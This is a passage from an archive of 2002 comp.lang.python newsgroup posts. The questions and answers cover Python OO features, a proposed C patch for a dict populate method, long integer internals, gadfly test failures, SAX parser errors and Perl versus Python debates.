news:<9r5F8.142619$o66.424520 at news-server.bigpond.net.au>... > To what extent does Python support OO? > > I know it has [multiple] inheritance and polymorphism etc, but to what > extent does > the language accomodate this and other OO concepts? > > Does Python support the notion of an abstract class or an interface through > the > use of language features? > > > I ask this because not only do I want certain design decisions to be clear > when > reading the code, but I also want to make debugging easier for myself. > > I realize I can still implement the things I want to without the use of > keywords etc, > but for me, it is important I do what my design allows for, not what I want > to. > :-) You can check out this page on my Web site. It may provide helpful information. http://www.jvoegele.com/software/langcomp.html -- Jason Voegele "We believe that we invent symbols. The truth is that they invent us." -- Gene Wolfe, The Book of the New Sun From sholden at holdenweb.com Fri May 10 13:29:50 2002 From: sholden at holdenweb.com (Steve Holden) Date: Fri, 10 May 2002 13:29:50 -0400 Subject: How to access to a remote db References: <abgo65$chq$1@fe1.cs.interbusiness.it> <VURC8.59259$m26.13054@atlpnn01.usenetserver.com> <abguff$1k5$1@fe2.cs.interbusiness.it> Message-ID: <IvTC8.61407$m26.49099@atlpnn01.usenetserver.com> "Sara D'Amico" <saramard at camerond.tin.it> wrote ... > Hi Steve, > thanks for your quickness. > > I'm trying to extend a network based on microsoft system with linux servers > in a school, for my thesis' project. > I used samba with linux to implement a ms NT Primary Domain Controller, and > a friend of mine is designing the db using MS Access. I should get the > info about students from that db; and then create the accounts for the > authentication procedure in the network. > I thought to use a table to store the usernames in the db. Then the PDC > accesses to the db and adds the user's accounts. > So the problems are: the remote access and the PDC's update. > > I hope you'll understand something in all this mess. Since the Linux system is serving the Windows machines, it would seem to make much more sense to run a Python program on the Windows machine (the one that has the Access database on it) and have it store text files in the right place on the Samba server so that the Linux admin processes could get at them. That way you wouldn't have to mess about with any other form of network communication than Samba, which you already have, or with accessing an Access database on a remote machine from Linux, which is tricky. Of course you could use a minimal program on the NT database server, and then do everything else in Python on the Linux machine once you have the data you need from the databases. Hope this helps. regards Steve -- ----------------------------------------------------------------------- Steve Holden http://www.holdenweb.com/ Python Web Programming http://pydish.holdenweb.com/pwp/ ----------------------------------------------------------------------- From jarvin24 at lehtori.cc.tut.fi Wed May 8 06:46:21 2002 From: jarvin24 at lehtori.cc.tut.fi (=?iso-8859-1?Q?J=E4rvinen?= Petri) Date: Wed, 8 May 2002 10:46:21 +0000 (UTC) Subject: Exception handling Message-ID: <slrnadi0fu.l1n.jarvin24@lehtori.cc.tut.fi> Hello Is it possible to use dynamic binding in exception handling like in C++. I mean can I catch baseclass exception in my exception handler and get all the derived classes catched aswell, like Class A: Class B(A): Class C(A): try: ... except A: (this would catch also B and C) * of course I could type except (A, B, C): but i rather not, because there are lot's of derived exceptions. Thanks allready, Petri From tchur at optushome.com.au Sat May 25 20:29:06 2002 From: tchur at optushome.com.au (Tim Churches) Date: Sun, 26 May 2002 10:29:06 +1000 Subject: DOI for Python? (was: Academic citation for Python) References: <3CEEE0D8.7030102@bellatlantic.net> <3CEF0213.3C7689F7@optushome.com.au> Message-ID: <3CF02C52.25B162B3@optushome.com.au> Ross Lazarus wrote: > How should the Python language be cited in an academic publication? to which Tim Churches replied: > G. van Rossum and F.L. Drake (eds), Python Reference Manual, > PythonLabs, Virginia, USA, 2001. Available at http://www.python.org But maybe a DOI (Digital Object Identifier) for Python would be a good idea, given the peripatetic nature of the core Python team over the last several years. More information about DOIs can be found at http://www.doi.org The main way of implementing DOIs is via the Handle system (see http://www.handle.net), which was developed by none other than the Corporation for National Research Initiatives (CNRI), the former home of Python. Ironically, the Handle system appears to be implemented in Java. Tim C From rjones at ekit-inc.com Mon May 20 19:35:13 2002 From: rjones at ekit-inc.com (Richard Jones) Date: Tue, 21 May 2002 09:35:13 +1000 Subject: problem with gadfly and py2exe In-Reply-To: <O85G8.62688$CN3.1985532@news2.tin.it> References: <9eJF8.69521$zW3.1064537@news1.tin.it> <Xns9214724F891FAandy47halfcookedcom@203.109.252.31> <O85G8.62688$CN3.1985532@news2.tin.it> Message-ID: <200205210935.13581.rjones@ekit-inc.com> On Mon, 20 May 2002 21:31, Max wrote: > list of modules gadfly relies upon... to trace the import > chain... Gadfly only uses standard python modules outside of its own package. A quick analysis of the source gives me: cmd marshal md5 operator os re select socket store string sys time traceback types Richard From coolslife at yahoo.com Tue May 21 11:52:29 2002 From: coolslife at yahoo.com (coolslife) Date: 21 May 2002 08:52:29 -0700 Subject: Grep in Python Message-ID: <f562ef59.0205210752.629d7a18@posting.google.com> hi, I tried looking for a "Grep" type utility module in jython/python. But I did not find any. Is there one available that can be used? I saw that lots of people have implemented their own version of grep and most have called it "pygrep". (Am I right about that?). Since this is a resource consuming activity, does anyone have any idea what might be a optimum way to implement this? thanx, Chhaya. From kragen at pobox.com Thu May 16 17:53:08 2002 From: kragen at pobox.com (Kragen Sitaker) Date: 16 May 2002 17:53:08 -0400 Subject: Upper memory limit References: <3CE0E6CE.E14291D7@kfunigraz.ac.at> <83y9el2hdh.fsf@panacea.canonical.org> <abuu5r$fip$0@216.39.172.122> Message-ID: <838z6jzrnf.fsf@panacea.canonical.org> bokr at oz.net (Bengt Richter) writes: > Would you try doing whatever_dict.clear() before deleting it, and see if > that makes any difference? I did try that at the time, as well as going through and deleting things by hand, as well as checking the refcounts on the values in the dict. It didn't help. > Here is some discussion on where it did make a difference: > > http://mail.python.org/pipermail/python-list/2002-February/088476.html That problem was due to circular references. Perhaps running the garbage collector manually in that case would have helped, too. From alex at securepipe.com Sat May 25 19:18:29 2002 From: alex at securepipe.com (Alex Russell) Date: Sat, 25 May 2002 18:18:29 -0500 Subject: email module in 2.2 References: <acos62$die$1@grandcanyon.binc.net> <ThTH8.83872$vm6.17915513@ruti.visi.com> Message-ID: <acp63f$fu3$1@grandcanyon.binc.net> Thanks Matt, however this doesn't help me at all with multipart/alternative messages. I've come to the conclusion that the email module is more or less useless, so I'm just going to do this all by hand. Thanks again for your assistance. Alex -- Alex Russell alex at securepipe.com alex at netWindows.org From aahz at pythoncraft.com Tue May 7 20:11:53 2002 From: aahz at pythoncraft.com (Aahz) Date: 7 May 2002 20:11:53 -0400 Subject: Whats so good about Python? References: <8580b02e.0205071527.5b6ce52f@posting.google.com> Message-ID: <ab9qg9$6ln$1@panix3.panix.com> In article <8580b02e.0205071527.5b6ce52f at posting.google.com>, BHE <usawargamer at yahoo.com> wrote: > >My question is: What does Python offer me over Perl? I dont use >object oriented Perl (which I consider innapropriate) and dont want a >hackers approach. If it's the syntax of OOP Perl that bothers you, you'll like Python. Rather than selling you on Python, though, I suggest that you try the on-line tutorial, which should take you a day or two to work through: http://www.python.org/doc/current/tut/tut.html >If Python is a superior languiage thats here to stay, and a better >language than Perl I'll consider learning it. I use Perl for >scripting, file manipulation, database retrieveal and stuffing, report >generation. Python can handle all that. -- Aahz (aahz at pythoncraft.com) <*> http://www.pythoncraft.com/ See me at OSCON! I'm teaching Python for [Perl] Programmers, a fast intro for all experienced programmers (not just Perl). Early bird ends June 10. http://conferences.oreillynet.com/os2002/ From syver-en+usenet at online.no Fri May 31 18:21:34 2002 From: syver-en+usenet at online.no (Syver Enstad) Date: Fri, 31 May 2002 22:21:34 GMT Subject: ANN: PyUnitTestBrowser 002 References: <63604d2.0205310937.15d47972@posting.google.com> Message-ID: <uit54nem7.fsf@online.no> phlip_cpp at yahoo.com (Phlip) writes: > > The latest version appears to work on an MS Windows box, and has a few > fixes. > > > If an error occurs, you can surf to the error point automatically with > Vim. This seems to work much better on win32. There are still two failures, (one of them is maybe designed to fail to test that the bar is orange, I don't know). For the my doc test the content of source on my machine: ('D:\\devtools\\Python22\\Lib\\site-packages\\browser\\test_browser.py', 246) May I suggest something like this (which avoids the failure by removing the path part of the path): if aTest.getName() == 'test_getDoc': source = aTest.getSourceLocation() file = os.path.split(source[0])[1] # added line source = (file, source[1]) # added line It seems like the problem is the same for the second failure. It seems that these failures only occur when launching the browser.py script via it's python extension (ShellExecute, start, Start -> Run), and not when launching via python browser.py, so it might not be a problem. Have you any hints on how to hack browser.py so that it run unittest.TestCase derived classes in a file without a suite method that generates it? ====================================================================== FAIL: test_OrangeBar (test_browser.BrowserTestCase) ---------------------------------------------------------------------- Traceback (most recent call last): File "D:\devtools\Python22\Lib\site-packages\browser\test_browser.py", line 15 2, in test_OrangeBar self.assert_(calls[2].params == either or calls[2].params == ore) File "d:\devtools\python22\lib\unittest.py", line 262, in failUnless if not expr: raise self.failureException, msg AssertionError ====================================================================== FAIL: my doc ---------------------------------------------------------------------- Traceback (most recent call last): File "D:\devtools\Python22\Lib\site-packages\browser\test_browser.py", line 29 1, in test_getDoc self.assert_(source == either or source == ore) File "d:\devtools\python22\lib\unittest.py", line 262, in failUnless if not expr: raise self.failureException, msg AssertionError ---------------------------------------------------------------------- -- Vennlig hilsen Syver Enstad From grante at visi.com Sun May 5 14:27:50 2002 From: grante at visi.com (Grant Edwards) Date: Sun, 05 May 2002 18:27:50 GMT Subject: OT: mail-news gateway question Message-ID: <slrnadauei.9uf.grante@tuxtop.visi.com> How does the python news/mail gateway work? Somebody recently told me that such gateways work by making the group moderated and having the "moderator" e-mail address set to the mailing list. Is this true? Looking at the headers in c.l.p, I don't see any "approved:" headers, and the NNTP-posting host seems to vary from posting to posting. -- Grant Edwards grante Yow! Yow! Am I JOGGING at yet?? visi.com From jb at cascade-sys.com Wed May 15 16:59:07 2002 From: jb at cascade-sys.com (James J. Besemer) Date: Wed, 15 May 2002 13:59:07 -0700 Subject: OT: Crazy Programming References: <31575A892FF6D1118F5800600846864DCBD192@intrepid> Message-ID: <3CE2CC1B.E10E1D71@cascade-sys.com> Simon Brunning wrote: > I, for example, can't stand country and western music. Hate the stuff. But I > would not be so arrogant as to suggest that those who *do* like country and > western are wrong, and that it's a bad thing. It's just not my cup of tea. A very mature attitude. I used to share this prejudice, except I went overboard and furthermore believed people who did like C+W were wrong. Then one day not too long ago I realized that, unlike a lot of people I know, I genuinely do like all sorts of different kinds of music, from rock and roll to 14th century chamber music; from early baroque to Wagner; folk music of the US and the Brittish is. to [some] Show Tunes; Linda Ronstat whether she's singing with the Stone Ponies or with Nelson Riddle. In fact, it actually was rather odd that C+W was the only kind of music I ostensibly didn't like (until Rap grew the list to two).. For a long time I knew on an intellectual level that the highly venerated Rock and Roll, so popular with most of my friends, was the mere synthesis of Country and Western with The Blues. I liked Rock and I loved the Blues -- what (other than an indefensible prejudice) was keeping me from liking Country and Western? So about a year and a half ago I decided to give the genera a chance. A guy who sat nearby at a client's site was into C+W and I asked him to recommend and loan me some music. At first he thought I was mocking him but I convinced him I was sincere. He recommended a number of titles and I picked a few others of my own. Some of the stuff I absolutely still do not like but a lot of it I had to admit was OK and some of it was absolutely fabulous. It's especially curious to see the various Elvis and Beatles songs that are pretty direct rip offs from Hank Williams. So now I'm down again to just one type of music I reject out of hand: Rap. Regards --jb -- James J. Besemer 503-280-0838 voice http://cascade-sys.com 503-280-0375 fax mailto:jb at cascade-sys.com From chris at cmb-enterprises.com Mon May 13 13:15:07 2002 From: chris at cmb-enterprises.com (Chris) Date: Mon, 13 May 2002 13:15:07 -0400 Subject: OT: Crazy Programming References: <mailman.1021198403.21335.python-list@python.org> <87offlnq3k.fsf@mathdogs.com> <chris-55B5FD.02324413052002@corp.supernews.com> <9LJD8.34714$CN3.1229512@news2.tin.it> Message-ID: <chris-A719F1.13150613052002@corp.supernews.com> In article <9LJD8.34714$CN3.1229512 at news2.tin.it>, Alex Martelli <aleax at aleax.it> wrote: > Chris wrote: > ... > > While I enjoy Python - and I do... it opned up the world of OO > > programming for me - I think there's almost a danger in things being too > > obvious. Creativity can be a messy business, but ultimately it leads to > > better places. > > The Python culture, by not particularly valuing "creativity" at the > lowest levels of programming, just frees up creative juices for use > where you get the best returns on them -- overall system architecture, > algorithms, sophisticated data structures. I agree, and I see this kind of debate happening in the Perl community, with questions regularly asked about high-level tasks. These too get diverse answers, and I think it's because the language ingrains a certain curiousity in programmers about whether or not there might just be another way of getting these a little quicker and/or a little more directly. In the end I'm not trying to say Python's approach is bad. Quite the contrary, I like Python quite a bit, and have defended it amongst Perl devotees. I just think that there is an advantage to a bit of ambiguity, at times. Then again, maybe I'm just caught up in Perl6 anticipation. :-) From jack_diederich at email.com Mon May 20 12:46:05 2002 From: jack_diederich at email.com (Jack Diederich) Date: Tue, 21 May 2002 00:46:05 +0800 Subject: PEP274 variation & comparison Message-ID: <20020520164606.5797.qmail@email.com> My basic problem is to quickly populate an existing dictionary from lists I already have. The two current ways to do this are a for loop or use dict() to create a new dictionary and then do existing_dict.update(new_dict), both of these have alot of overhead. old_dict = {'foo':1, 'bar':1} l = ['joe', 'jack', 'mary', 'bill', 'geoff', 'dmitri', 'fima', 'boris'] # for loop for (i) in l: old_dict[i] = 1 # update old_dict.update(dict([ (i, 1) for i in l ])) # New! defined below old_dict.populate(l) The update method is more than 50% slower than the for loop, because we have to create lots of tuple temporaries to pass to dict(). I first thought PEP274 dictionary comprehensions was what I needed, and it will make the tuple temporaries go away. There will be a small amount of overhead for the temporary new dict we pass to update(). [I emailed barry w/ a shorter commentary a few days ago, but haven't heard his comments yet] What I really want is Perl style assignment where I can specify a list as the key, and another list or a scalar on the right hand side %myhash = () @myhash{@l} = 1 # assigns names as hash keys, all values are 1 @myhash{@l} = (0..(length(@l))) # assigns name keys to 0 .. N values This breaks the current rules in Python pretty badly. All of a sudden lists are allowed as the key of a dict, but they do something completely different. And I'd like to be able to use a tuple in the same way as a list, but tuples are already legal dict keys with very different behavior. So I decided to create the populate() method which allows you to do stuff like # setup old_dict = {'foo':1, 'bar':1} l = ['joe', 'jack', 'mary', 'bill', 'geoff', 'dmitri', 'fima', 'boris'] # assigns keys of names in list, with value set to true old_dict.populate(l) # assigns keys of names in list, with value being their index in the list old_dict.populate(l, range(len(l))) # like the true example, but every value is 'HiMom' old_dict.populate(l, 'HiMom') lastly, you might actually want to assign the same list or tuple as the value for every key, so we add an override flag that forces lists in the second argument to be treated like 'HiMom' # every name has the value of the list range(len(l)) old_dict.populate(l, range(len(l)), 1) After thinking about it for awhile the populate() method isn't as similar to dict comprehensions as you might think. dict comprehensions are a quick way to produce a new list, populate() is a quick way to add to an existing dict from a list. The overlap would be in the update() method - a dict comprehension would be much faster than creating tuples to pass to dict() which can then be used in an old_dict.update(dict comprehension here) They would both crush iterating over a list to insert into a dictionary in speed. Dict comprehensions would likely be faster for creating new dictionaries, the populate() method needs at least one real python list (or tuple) to hold the keys. dict comprehensions skip that temporary. If you are talking about existing lists, then that temporary list has already been paid for. If you are talking about modifying an existing dict then dict comprehensions have a cost of one temporary dict to be created for the call to update() as well as the cost of inserting into a dictionary that will be discarded. (doesn't hurt too much, the hashes for the keys are calc'd for the temporary and don't have to be recalc'd when we copy the temp dict to the old_dict) Below is a context diff against Python 2.2.1 that implements populate() Below that is a short benchmark script that shows the difference between the for loop, update, and populate methods. for takes six times as long as populate, update takes 1.75 as long as for (all those temporary tuples!) speed ups for the other ways to call populate are about the same enjoy, -jackdied *** Python-2.2.1/Objects/dictobject.c Thu Mar 28 15:36:50 2002 --- Python-2.2.1-altered/Objects/dictobject.c Mon May 20 13:31:49 2002 *************** *** 1508,1513 **** --- 1508,1603 ---- return val; } + static PyObject * + dict_populate(register dictobject *mp, PyObject *args) + { + PyObject *key_list; + PyObject *arg_val = NULL, *list_as_scalar = NULL; + PyObject *key, *val; + int i, imax; + long hash; + + if (!PyArg_ParseTuple(args, "O|OO:populate", &key_list, &arg_val, &list_as_scalar)) + return NULL; + + if (PyList_Check(key_list) || PyTuple_Check(key_list)) /* we would like to use PySequence_Check, but it returns true on strings! */ + imax = PySequence_Fast_GET_SIZE(key_list); + else { + PyErr_SetString(PyExc_TypeError, + "populate() requires a list or tuple as its first argument"); + return NULL; + } + + /* resize the mp dict, shamelessly stolen from PyDict_Merge() */ + if ((mp->ma_fill + imax)*3 >= (mp->ma_mask+1)*2) { + if (dictresize(mp, (mp->ma_used + imax)*3/2) != 0) + return NULL; + } + + /* Three possibilities */ + /* One, second argument is a tuple or list AND list_as_scalar isn't set and true */ + if (arg_val != NULL && ((PyList_Check(arg_val) || PyTuple_Check(arg_val)) && + (list_as_scalar == NULL || !PyObject_IsTrue(list_as_scalar)))) { + int j, jmax; + + jmax = PySequence_Fast_GET_SIZE(arg_val); + + for (i = 0, j = 0; i < imax; i++, j++) { + /* If we are out of values in arg_val, start padding with Py_None + alternatively we could do (the less readable/maintainable) + for (;i < jmax && i < imax;) + key = key_list[i] + val = arg_val[j] + for (; i < imax;) + key = key_list[i] + val = Py_None + */ + if (j >= jmax) + val = Py_None; + else { + val = PySequence_Fast_GET_ITEM(arg_val, j); + } + + key = PySequence_Fast_GET_ITEM(key_list, j); + + Py_INCREF(key); + Py_INCREF(val); + hash = PyObject_Hash(key); + if (hash == -1) { + PyErr_SetString(PyExc_TypeError, "key is an unhashable"); /* needs better error ? */ + return NULL; + } + insertdict(mp, key, hash, val); + } + } + /* Two, second argument is NULL (set all values to true) */ + /* Three, set all values to the second arg */ + else { + if (arg_val == NULL) + val = PyInt_FromLong(1); /* refcount starts at one */ + else + val = arg_val; + + for (i = 0; i < imax; i++) { + key = PySequence_Fast_GET_ITEM(key_list, i); + Py_INCREF(key); + Py_INCREF(val); + hash = PyObject_Hash(key); + if (hash == -1) { + PyErr_SetString(PyExc_TypeError, "key is an unhashable"); /* needs better error ? */ + return NULL; + } + insertdict(mp, key, hash, val); + } + + if (arg_val == NULL) { + Py_DECREF(val); /* reduce refcount on our FromLong */ + } + } + + Py_INCREF(Py_None); + return Py_None; + } static PyObject * dict_clear(register dictobject *mp) *************** *** 1659,1664 **** --- 1749,1757 ---- static char setdefault_doc__[] = "D.setdefault(k[,d]) -> D.get(k,d), also set D[k]=d if not D.has_key(k)"; + static char populate_doc__[] = + "D.populate(l[,lv,b]) -> D[l[0..N]] = 1 if no second argument, D[l[0..N]] = lv[0..N] if lv is a list or tuple, D[l[0..N]] = lv otherwise, or if b is true"; + static char popitem__doc__[] = "D.popitem() -> (k, v), remove and return some (key, value) pair as a\n\ 2-tuple; but raise KeyError if D is empty"; *************** *** 1697,1702 **** --- 1790,1797 ---- get__doc__}, {"setdefault", (PyCFunction)dict_setdefault, METH_VARARGS, setdefault_doc__}, + {"populate", (PyCFunction)dict_populate, METH_VARARGS, + populate_doc__}, {"popitem", (PyCFunction)dict_popitem, METH_NOARGS, popitem__doc__}, {"keys", (PyCFunction)dict_keys, METH_NOARGS, import time mp = {} l = range(100) cnt = 10000 def benchmark(count, func): beg = time.clock() for (i) in range(count): mp.clear() func() print str(func), str(time.clock() - beg) return def forloop(): for (g) in l: mp[g] = 1 return def pop(): mp.populate(l) return def update(): mp.update(dict([ (i, 1) for i in l ])) return benchmark(cnt, forloop) benchmark(cnt, pop) benchmark(cnt, update) """ My results <function pop at 0x81961d4> 0.67 <function forloop at 0x819619c> 3.65 <function update at 0x819620c> 7.37 """ -- _______________________________________________ Sign-up for your own FREE Personalized E-mail at Email.com http://www.email.com/?sr=signup From mcherm at destiny.com Fri May 24 13:08:17 2002 From: mcherm at destiny.com (Michael Chermside) Date: Fri, 24 May 2002 13:08:17 -0400 Subject: How Are Unlimited Precision Integers Accomplished? Message-ID: <3CEE7381.2030506@destiny.com> I wrote: > Can someone elaborate with a simple summary of the data structure that > is used [for Longs]? Tim writes: > See include/longintrepr.h Well, I *did* look, and here's the relevent part of what I saw: | typedef unsigned short digit; | #define SHIFT 15 | #define BASE ((digit)1 << SHIFT) | /* Long integer representation. | The absolute value of a number is equal to | SUM(for i=0 through abs(ob_size)-1) ob_digit[i] * 2**(SHIFT*i) | Negative numbers are represented with ob_size < 0; | zero is represented by ob_size == 0. | In a normalized number, ob_digit[abs(ob_size)-1] (the most | significant | digit) is never zero. Also, in all cases, for all valid i, | 0 <= ob_digit[i] <= MASK. | The allocation function takes care of allocating extra memory | so that ob_digit[0] ... ob_digit[abs(ob_size)-1] are actually | available. */ | | struct _longobject { | PyObject_HEAD | int ob_size; | digit ob_digit[1]; | }; "Aha!" I sez to myself, they aren't REALLY of unlimited precision, just REALLY big precision. They're stored as a number in base BASE (base 2**15), with a maximum of MAXINT digits. So the largest possible Long should (I sez to myself) be: 2**( 15 * (2**MAXINT) ) - 1 Well... I'd like to see THAT! So I tries it out for myself by starting up Python and typing the following (actually, it took me a couple of tries to figure out how to do it without crashing things): Python 2.2.1 (#34, Apr 9 2002, 19:34:33) [MSC 32 bit (Intel)] on win32 Type "help", "copyright", "credits" or "license" for more information. >>> big = 1L << (2**31 - 1) >>> big <<= 15 >>> big += 1 >>> big <<= 45 >>> As you can see, it should have overflowed (I thought) in line 3. And it CERTAINLY shouldn't have been able to do line 4! It is, of course, possible that ob_size is silently overflowing, but I did some simple experiments designed to test that and they all seemed work. So how ARE *really* big numbers stored? -- Michael Chermside From robinjim at earthlink.net Fri May 17 20:54:16 2002 From: robinjim at earthlink.net (robin and jim) Date: Sat, 18 May 2002 00:54:16 GMT Subject: Gadfly-1.0rc1 Errors References: <1bf96e7f.0205170355.c90e919@posting.google.com> Message-ID: <YChF8.1257$xF1.783@newsread1.prod.itd.earthlink.net> I just tried it on my Win 98 machine with Python 2.2. The test script produced the same set of errors. "Dave Moor" <python at tykebsd.net> wrote in message news:1bf96e7f.0205170355.c90e919 at posting.google.com... > Hi > > I've just downloaded Gadfly from http://gadfly.sourceforge.net (the > only place I could find it. Its docs suggest the first step in the > installation should be running the test scripts (c:\temp\python > run_tests) which should complete with no errors. Well I got errors, > I'm running ActiveStates Python 2.1.1 on Win2k. The test script > produces the following > > > D:\downloads\python\gadfly-1.0.0rc1>python run_tests > > not running kjbuckets C module test > > ......................EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE.... > > ====================================================================== > > ERROR: testDistinct (test.test_gadfly.test_Gadfly) > > ---------------------------------------------------------------------- > > Traceback (most recent call last): > > File "test\test_gadfly.py", line 11, in setUp > > shutil.rmtree('_test_dir') > > File "D:\Python21\lib\shutil.py", line 128, in rmtree > > raise exc[0], (exc[1][0], exc[1][1] + ' removing '+cmd[1]) > > OSError: [Errno 13] Permission denied removing _test_dir\test.gfl > > The error repeat for 40 tests, but its always caused by shutil.rmtree. > The install worked OK, should I worry about the tests failing? > > Dave > From peter at engcorp.com Thu May 30 19:24:45 2002 From: peter at engcorp.com (Peter Hansen) Date: Thu, 30 May 2002 19:24:45 -0400 Subject: User input question References: <ad4ovf$tqev9$1@ID-49758.news.dfncis.de> <ad4po3$toqmj$1@ID-49758.news.dfncis.de> <ad4qbk$sd6$1@wanadoo.fr> <ad4stt$uau73$1@ID-49758.news.dfncis.de> <ad4t64$qli$1@wanadoo.fr> <ad4uq3$trgg5$1@ID-49758.news.dfncis.de> Message-ID: <3CF6B4BD.86773A0A@engcorp.com> Ken wrote: > > "Eric Brunel" <eric.brunel at pragmadev.com> wrote in message > news:ad4t64$qli$1 at wanadoo.fr... > > Ken wrote:> > > > Does this also work for user input from keyboard? > > > > Yep. It's exactly the same thing than in C++. > > -- > > - Eric Brunel <eric.brunel at pragmadev.com> - > > PragmaDev : Real Time Software Development Tools - > http://www.pragmadev.com > > But how do I set a field on the web browser for people to type in? Don't I > need a form for people to type in? If so, how do I define the "method", > "action" etc. from the form header? (eg: "<form name=update > action=search.cgi method=post>") Buy Steve Holden's book, "Python Web Programming", available from New Riders. There are many, many things in it which I'm sure you're going to have to learn, and you're better off not learning all of them the hard way... (ISBN 0-7357-1090-2) -Peter From gdemmy at layton-graphics.com Wed May 22 11:21:23 2002 From: gdemmy at layton-graphics.com (George Demmy) Date: 22 May 2002 11:21:23 -0400 Subject: Why is this question so beloved? Re: Is python really slow? References: <Xns9215ABCC0DDC8chrislak@209.249.90.101> Message-ID: <wulmacfbt8.fsf@hades.layton-graphics.com> Chris <chrisl_ak at hotmail.com> writes: > I spend a fair amount of time on perl newsgroups, having the need to use > perl for various parts of my job. I am now learning Python. I am a bit > disheartened at how common it seems to code only some of a program in > Python and use C for other parts, and how much discussion here involves > using C for X and Y. I don't have time to learn another language. I don't > see nearly as much discussion about doing this in the Perl newgroups. > Should I just be learning C instead? Is this just because of the different > applications python is being put to use for or because Python programmers > are more "multi-lingual" or is Python really so slow that one needs to go > to C on a more regular basis? > > This is NOT flamebait... it just has me concerned that by deciding on > Python (after becoming semi-proficient in PHP and Perl) I might be making a > mistake. "Python" is *much* "faster" than "Perl", "php", or "C" at answering this question: What is the integer value of 2 raised to the power of 10000? $ time python -c 'print 2**10000' [answer snipped] real 0m0.416s user 0m0.410s sys 0m0.000s So what do you mean? Perl coders --- bring it! C coders -- bring it! Faster here means getting the job done with the "canonical implementation" of the language (that's why all of the languages were quoted). Lisp hackers would snicker having endured years of this line of badgering, no doubt, but they are off coding logistical systems for airlines, or some such. I've read most of the responses to your question, and for the most part the reiterate well thought out and accurate advice give semi-weekly on this topic. Even so, why is it that everyone loves chining in on this question? To the specifics of your question: If you don't have time to learn another language, then you will likely never realize any of the benefits that Python, and learning Python, might have to offer. These benefits are usually longer term, and if all you value is the instantaneous, then learning something new may not be in your best interest. Don't let the Python zealots tell you that you can't write maintainable code in Perl, you most certainly can. However, to do so, you require skill and discipline that require time and dedication to cultivate. The same is true of Python. However, Python the language is much more consistent and free of idiosyncrasies than is Perl the language. You can be writing idiomatic Python code relatively quickly, which means that you can leverage the experience of legions of Master Python Hackers just by emulating them and figure out why it's a good idea later. Please think about why this might be true. I love learning Perl weirdness, but that for my spare time not eaten by netnews. If I am trying to solve problems, I often "explore" the problem interactively in Python. If it's straight forward, it's not really a problem, it's more of a task, and you can simply apply "the canonical pattern" to eliminate that task. As far as speed is concerned, I find that the time consumed by design, development, implementation, and maintenance far exceeds run time for most of the stuff I do. I have *never* found an instance where the difference in runtime speed between the standard Python and Perl implementations has been a deal breaker, YMMV. -- George Demmy Layton Graphics, Inc From zopestoller at thomas-guettler.de Thu May 23 08:38:33 2002 From: zopestoller at thomas-guettler.de (Thomas Guettler) Date: Thu, 23 May 2002 14:38:33 +0200 Subject: os.path.join() necessary? References: <3CECD167.9020107@thomas-guettler.de> <lkbsb75byp.fsf@pc150.maths.bris.ac.uk> Message-ID: <3CECE2C9.60703@thomas-guettler.de> Michael Hudson wrote: > Thomas Guettler <zopestoller at thomas-guettler.de> writes: > > >>Is os.path.join() necessary? I use >> >>absolute_path=dir + "/" + file >> >>on windows (W2K) without problems. >> > > Try it on the Mac. I would, but have not Mac or MacOSX here. Can you try it? thomas From shagshag13 at yahoo.fr Wed May 29 05:02:44 2002 From: shagshag13 at yahoo.fr (Shagshag13) Date: Wed, 29 May 2002 11:02:44 +0200 Subject: No parsers found... Message-ID: <ad25f4$tcqf2$1@ID-146704.news.dfncis.de> I'd written a script which use a dom parser, try to use it on a HP-UX system and here is what i get: Traceback (most recent call last): File "./one_by_line.py", line 100, in ? lines_to_write = process_string_including_tags(line) File "./one_by_line.py", line 63, in process_string_including_tags dom = parseString(xml_string) File "/home/shagshag/local/lib/python2.2/xml/dom/minidom.py", line 967, in parseString return _doparse(pulldom.parseString, args, kwargs) File "/home/shagshag/local/lib/python2.2/xml/dom/minidom.py", line 953, in _doparse events = apply(func, args, kwargs) File "/home/shagshag/local/lib/python2.2/xml/dom/pulldom.py", line 340, in parseString parser = xml.sax.make_parser() File "/home/shagshag/local/lib/python2.2/xml/sax/__init__.py", line 93, in make_parser raise SAXReaderNotAvailable("No parsers found", None) xml.sax._exceptions.SAXReaderNotAvailable: No parsers found i've find many post about building expat.so, but i don't know how to build it and where to find it. (can't reach http://sourceforge.net/projects/expat/) thanks in advance, s13. From kwokng at earthlink.net Fri May 3 20:12:36 2002 From: kwokng at earthlink.net (Billy Ng) Date: Sat, 04 May 2002 00:12:36 GMT Subject: Insert blob data to MySQL Message-ID: <UHFA8.248$e32.210@newsread1.prod.itd.earthlink.net> Hi folks, Would any body tell me how to insert a blob object to the mysql blob field Thanks! Billy Ng From siegfried.gonzi at kfunigraz.ac.at Tue May 14 16:35:25 2002 From: siegfried.gonzi at kfunigraz.ac.at (Siegfried Gonzi) Date: Tue, 14 May 2002 22:35:25 +0200 Subject: Upper memory limit References: <3CE0E6CE.E14291D7@kfunigraz.ac.at> <G38E8.12534$Ze4.1204253@bin5.nnrp.aus1.giganews.com> <3CE11388.697C9AE2@kfunigraz.ac.at> <20020514100006.D24034@eecs.tufts.edu> <mailman.1021397004.22888.python-list@python.org> <abroj9$fqm$1@peabody.colorado.edu> <3CE16A13.309D0D14@kfunigraz.ac.at> <20020514222449.O28033@prim.han.de> Message-ID: <3CE1750D.DF0E0235@kfunigraz.ac.at> holger krekel wrote: > > > > /home/gonzi/Python-2.2.1/... > > > > and my Numeric-21.0 resides in: > > > > /home/gonzi/Python-2.2.1/Numeric-21.0 > > > > > > but after trying to install the Numeric stuff:: > > > > python setup.py install > ^^^^^^^^ > > are you sure that this points to *your* installation? It is a hard day, and maybe it is time for me to go and die. I can compile Numeric now with the option: python setup.py --prefix=/home/gonzi/Python-2.2/ But I cannot import it in Python because it cannot be found. But the above is not new to me; I have wasted half of my computer life with Unix installation problems. Nobody should wonder why Billy Boy is rich. S. Gonzi From tdelaney at avaya.com Wed May 8 19:52:15 2002 From: tdelaney at avaya.com (Delaney, Timothy) Date: Thu, 9 May 2002 09:52:15 +1000 Subject: NEVER MIND! Message-ID: <B43D149A9AB2D411971300B0D03D7E8BF0A2D6@natasha.auslabs.avaya.com> > From: Tim Hammerquist [mailto:tim at vegeta.ath.cx] > > Your reply (Subject: Re: NEVER MIND!), however, did _not_ show up as a > reply to either, since it completely lacked References: header. As a > result, replies you make to messages often spawn entirely new threads > under a strict, reference-based threading system, even though > threading > by Subject: header still works. Because of this, unless I disable My apologies - since my mail client (Outlook - mandated by the company) does usually manage to thread correctly even when the subjects have changed (grouping by "Conversation", I 